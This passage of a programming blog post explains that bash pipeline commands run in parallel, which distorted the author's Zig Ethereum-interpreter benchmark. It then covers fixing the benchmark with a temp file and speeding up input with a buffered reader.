 src="https://mtlynch.io/zig-extraneous-build/agwa-masto.png" alt="Do you still see the 10x disparity with significantly larger inputs (i.e. &amp;gt; 1MB)? Do you still the disparity if you redirect stdin from a file instead of a pipe? My guess is that when you execute the program directly, xxd and count-bytes start at the same time, so the pipe buffer is empty when count-bytes first tries to read from stdin, requiring it to wait until xxd fills it. But when you use zig build run, xxd gets a head start while the program is compiling, so by the time count-bytes reads from stdin, the pipe buffer has been filled." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Andrew Ayer got it exactly right, and I&amp;rsquo;ll break it down below.&lt;/p>
&lt;p>Sidenote: Andrew Ayer also had the key insight that &lt;a href="https://mtlynch.io/notes/picoshare-perf/#ram-bloat-is-fine-but-crashes-are-not">solved my last performance mystery&lt;/a>.&lt;/p>
&lt;h2 id="my-mental-model-of-bash-pipelines-is-wrong">My mental model of bash pipelines is wrong&lt;/h2>
&lt;p>I had never thought too carefully about bash pipelines, but Andrew&amp;rsquo;s comment made me realize my mental model was wrong.&lt;/p>
&lt;p>Imagine a simple bash pipeline like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./jobA | ./jobB
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My mental model was that &lt;code>jobA&lt;/code> would start and run to completion and then &lt;code>jobB&lt;/code> would start with &lt;code>jobA&lt;/code>&amp;rsquo;s output as its input.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 572px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/jobs-serial.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 572px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/jobs-serial_hu_56a68306ae081ff0.webp 300w, https://mtlynch.io/zig-extraneous-build/jobs-serial.webp 570w'
 src="https://mtlynch.io/zig-extraneous-build/jobs-serial.webp" alt="Gantt chart of jobB starting after jobA finishes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My incorrect mental model of how jobs in a bash pipeline work&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It turns out that all commands in a bash pipeline start at the same time.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 572px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/jobs-parallel.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 572px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/jobs-parallel_hu_f5111d20aa2c9bdb.webp 300w, https://mtlynch.io/zig-extraneous-build/jobs-parallel.webp 570w'
 src="https://mtlynch.io/zig-extraneous-build/jobs-parallel.webp" alt="Gantt chart of jobA and jobB starting simultaneously, but jobB is longer because it has to wait for jobA&amp;#39;s results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The actual way that jobs in a bash pipeline work&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To demonstrate parallel execution in a bash pipeline, I wrote a proof of concept with two simple bash scripts.&lt;/p>
&lt;p>&lt;code>jobA&lt;/code> starts, sleeps for three seconds, prints to stdout, sleeps for two more seconds, then exits:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> print_status() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">message&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$1&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">timestamp&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>date +&lt;span style="color:#ed9d13">&amp;#34;%T.%3N&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$timestamp&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#40ffff">$message&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt;&amp;amp;&lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobA is starting&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#3677a9">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;result of jobA is...&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;42&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobA is terminating&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/zig-extraneous-build/jobA" download class="download-raw-button">download jobA&lt;/a>
 &lt;/div>


&lt;p>&lt;code>jobB&lt;/code> starts, waits for input on stdin, then prints everything it can read from stdin until stdin closes:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> print_status() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">message&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$1&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">local&lt;/span> &lt;span style="color:#40ffff">timestamp&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>date +&lt;span style="color:#ed9d13">&amp;#34;%T.%3N&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$timestamp&lt;/span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#40ffff">$message&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt;&amp;amp;&lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobB is starting&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobB is waiting on input&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> &lt;span style="color:#24909d">read&lt;/span> line; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print_status &lt;span style="color:#ed9d13">&amp;#34;jobB read &amp;#39;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">line&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#39; from input&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span> &amp;lt; /dev/stdin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobB is done reading input&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print_status &lt;span style="color:#ed9d13">&amp;#39;jobB is terminating&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/zig-extraneous-build/jobB" download class="download-raw-button">download jobB&lt;/a>
 &lt;/div>


&lt;p>If I run &lt;code>jobA&lt;/code> and &lt;code>jobB&lt;/code> in a bash pipeline, exactly 5.009 seconds elapse between the &lt;code>jobB is starting&lt;/code> and &lt;code>jobB is terminating&lt;/code> messages:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./jobA | ./jobB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:53.326 jobA is starting
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:53.326 jobB is starting
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:53.328 jobB is waiting on input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:56.330 jobB &lt;span style="color:#24909d">read&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;result of jobA is...&amp;#39;&lt;/span> from input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:58.331 jobA is terminating
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:58.331 jobB &lt;span style="color:#24909d">read&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;42&amp;#39;&lt;/span> from input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:58.333 jobB is &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span> reading input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>09:11:58.335 jobB is terminating
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I adjust the execution so that &lt;code>jobA&lt;/code> and &lt;code>jobB&lt;/code> run in sequence instead of a pipeline, only 0.008 seconds elapse between &lt;code>jobB&lt;/code>&amp;rsquo;s &lt;code>starting&lt;/code> and &lt;code>terminating&lt;/code> messages:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./jobA &amp;gt; /tmp/output &amp;amp;&amp;amp; ./jobB &amp;lt; /tmp/output
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:10.406 jobA is starting
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.410 jobA is terminating
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.415 jobB is starting
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.417 jobB is waiting on input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.418 jobB &lt;span style="color:#24909d">read&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;result of jobA is...&amp;#39;&lt;/span> from input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.420 jobB &lt;span style="color:#24909d">read&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;42&amp;#39;&lt;/span> from input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.421 jobB is &lt;span style="color:#6ab825;font-weight:bold">done&lt;/span> reading input
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>16:52:15.423 jobB is terminating
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="revisiting-my-byte-counter">Revisiting my byte counter&lt;/h2>
&lt;p>Once I understood that all commands in a bash pipeline run in parallel, the behavior I was seeing in my byte counter made sense:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;00010203040506070809&amp;#39;&lt;/span> | xxd -r -p | zig build run -Doptimize=ReleaseFast
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bytes: &lt;span style="color:#3677a9">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 13.549µs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;00010203040506070809&amp;#39;&lt;/span> | xxd -r -p | ./zig-out/bin/count-bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bytes: &lt;span style="color:#3677a9">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 162.195µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It looks like the time to run the &lt;code>echo '00010203040506070809' | xxd -r -p&lt;/code> part of the pipeline takes about 150 microseconds. The &lt;code>zig build run&lt;/code> step must take at least 150 microseconds.&lt;/p>
&lt;p>By the time the &lt;code>count-bytes&lt;/code> application actually begins in the &lt;code>zig build&lt;/code> version, it doesn&amp;rsquo;t have to wait for the previous jobs to complete. The input is already waiting on stdin.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 572px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/count-bytes-zig-run.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 572px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/count-bytes-zig-run_hu_e28e84f7eee810cd.webp 300w, https://mtlynch.io/zig-extraneous-build/count-bytes-zig-run.webp 570w'
 src="https://mtlynch.io/zig-extraneous-build/count-bytes-zig-run.webp" alt="Gantt chart where echo, xxd, and zig build run start at the same time, but the execute phase of zig build run starts after echo and xxd are complete" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>With &lt;code>zig build run&lt;/code>, there&amp;rsquo;s a delay before my application executes, so previous jobs in the pipeline have already completed by the time &lt;code>count-bytes&lt;/code> starts.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When I skip the &lt;code>zig build&lt;/code> step and run the compiled binary directly, &lt;code>count-bytes&lt;/code> starts immediately and the timer begins. The problem is that &lt;code>count-bytes&lt;/code> has to sit around waiting ~150 microseconds for the &lt;code>echo&lt;/code> and &lt;code>xxd&lt;/code> commands to deliver input to stdin.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 572px">



 &lt;a href="https://mtlynch.io/zig-extraneous-build/count-bytes-compiled.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 572px, 98vw"
 srcset='https://mtlynch.io/zig-extraneous-build/count-bytes-compiled_hu_5c6f00308438df41.webp 300w, https://mtlynch.io/zig-extraneous-build/count-bytes-compiled.webp 570w'
 src="https://mtlynch.io/zig-extraneous-build/count-bytes-compiled.webp" alt="Gantt chart where echo, xxd, and count-bytes all start at the same time, but count-bytes can&amp;#39;t begin processing input until 150 microseconds after starting, as it&amp;#39;s waiting on results from xxd" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When I run &lt;code>count-bytes&lt;/code> directly, it has to wait around for ~150 microseconds until &lt;code>echo&lt;/code> and &lt;code>xxd&lt;/code> feed input to stdin.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="fixing-my-benchmark">Fixing my benchmark&lt;/h2>
&lt;p>Fixing my benchmark was &lt;a href="https://github.com/mtlynch/eth-zvm/pull/27">simple&lt;/a>. Instead of running my application as part of a bash pipeline, I split the preparation stage and the execution stage into separate commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Convert the hex-encoded input to binary encoding.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">INPUT_FILE_BINARY&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;60016000526001601ff3&amp;#39;&lt;/span> | xxd -r -p &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INPUT_FILE_BINARY&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Read the binary-encoded input into the virtual machine.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./zig-out/bin/eth-zvm &amp;lt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INPUT_FILE_BINARY&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 67.378µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My benchmark dropped from the 438 microseconds I was seeing before down to just 67 microseconds.&lt;/p>
&lt;figure>
 &lt;div class="chart-container">
 &lt;canvas id="benchmark-fix">&lt;/canvas>
 &lt;/div>
 &lt;figcaption>&lt;p>Difference in measured performance of my Zig app after I fixed my benchmarking script&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;h2 id="applying-andrew-kellys-performance-fix">Applying Andrew Kelly&amp;rsquo;s performance fix&lt;/h2>
&lt;p>Recall that Andrew Kelly &lt;a href="https://ziggit.dev/t/zig-build-run-is-10x-faster-than-compiled-binary/3446/8?u=mtlynch">pointed out&lt;/a> that I was doing one syscall for every byte I read.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>reader&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.io.&lt;span style="color:#447fcf">getStdIn&lt;/span>().&lt;span style="color:#447fcf">reader&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span>&lt;span style="color:#666"> &lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>reader.&lt;span style="color:#447fcf">readByte&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Slow! One syscall per byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>...&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So, every time my application called &lt;code>readByte&lt;/code> in the loop, it had to halt execution, request an input read from the OS and then resume when the OS delivered the single byte.&lt;/p>
&lt;p>The fix &lt;a href="https://github.com/mtlynch/eth-zvm/pull/26">was simple&lt;/a>. I had to use a buffered reader. Instead of reading a single byte at a time from the OS, I&amp;rsquo;d use Zig&amp;rsquo;s built-in &lt;code>std.io.bufferedReader&lt;/code>, which causes my application to read large chunks of data from the OS. That way, I only have to make a fraction of the syscalls.&lt;/p>
&lt;p>Here&amp;rsquo;s the entire change:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">diff --git a/src/main.zig b/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">index d6e50b2..a46f8fa 100644
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">&lt;/span>&lt;span style="color:#d22323">--- a/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+++ b/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>&lt;span style="color:#fff;text-decoration:underline">@@ -7,7 +7,9 @@ pub fn main() !void {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span> const allocator = gpa.allocator();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> defer _ = gpa.deinit();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- var reader = std.io.getStdIn().reader();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+ const in = std.io.getStdIn();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ var buf = std.io.bufferedReader(in.reader());
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ var reader = buf.reader();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> var evm = vm.VM{};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> evm.init(allocator);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I re-ran my example, and it sped up performance by another 11 microseconds, a modest 16% speedup.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig build -Doptimize=ReleaseFast &amp;amp;&amp;amp; ./zig-out/bin/eth-zvm &amp;lt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">INPUT_FILE_BINARY&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 56.602µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
 &lt;div class="chart-container">
 &lt;canvas id="benchmark-fix-buffered">&lt;/canvas>
 &lt;/div>
 &lt;figcaption>&lt;p>Buffering input reads increased performance by another 16%.&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;h2 id="benchmarking-a-larger-input">Benchmarking a larger input&lt;/h2>
&lt;p>My Ethereum interpreter currently only supports a small subset of Ethereum&amp;rsquo;s opcodes. The most complex computation my interpreter can do at this point is add numbers together.&lt;/p>
&lt;p>For example, here&amp;rsquo;s an Ethereum application that counts to three by pushing &lt;code>1&lt;/code> to the stack three times and then adding the values together:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>PUSH1 1 # Stack now contains [1]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 1 # Stack now contains [1, 1]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 1 # Stack now contains [1, 1, 1]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ADD # Stack now contains [2, 1]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ADD # Stack now contains [3]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The largest application I tested in my benchmarks was Ethereum bytecode that counted to 1,000 by adding &lt;code>1&lt;/code> values together.&lt;/p>
&lt;p>After Andrew Kelly&amp;rsquo;s tip helped me &lt;a href="https://github.com/mtlynch/eth-zvm/pull/26">reduce syscalls&lt;/a>, my &amp;ldquo;count to 1,000&amp;rdquo; application&amp;rsquo;s runtime dropped from 2,024 microseconds to just 58 microseconds, a 35x speedup. I was now beating the official Ethereum implementation by almost a factor of two.&lt;/p>
&lt;figure>
 &lt;div class="chart-container">
 &lt;canvas id="count-to-1000-by-1-v2">&lt;/canvas>
 &lt;/div>
 &lt;figcaption>&lt;p>Buffering my input reads allowed my Zig implementation to run about 2x faster than the official Ethereum implementation on the largest Ethereum application in my test set.&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;h2 id="cheating-my-way-to-maximum-performance">Cheating my way to maximum performance&lt;/h2>
&lt;p>I was excited to see my Zig implementation finally outperforming the official Go version, but I wanted to see just how much I could leverage Zig to improve performance.&lt;/p>
&lt;p>One common bottleneck in software is memory allocation, as the program must request memory from the operating system and wait while the OS satisfies the request.&lt;/p>
&lt;p>Zig has a memory allocator called the fixed buffer allocator. Instead of the memory allocator requesting memory from the OS, you provide the allocator a fixed buffer of bytes, and it uses only those bytes to allocate memory.&lt;/p>
&lt;p>I can cheat my benchmarks by compiling a version of my Ethereum interpreter that&amp;rsquo;s limited to 2 KB of memory allocated from the stack:&lt;/p>
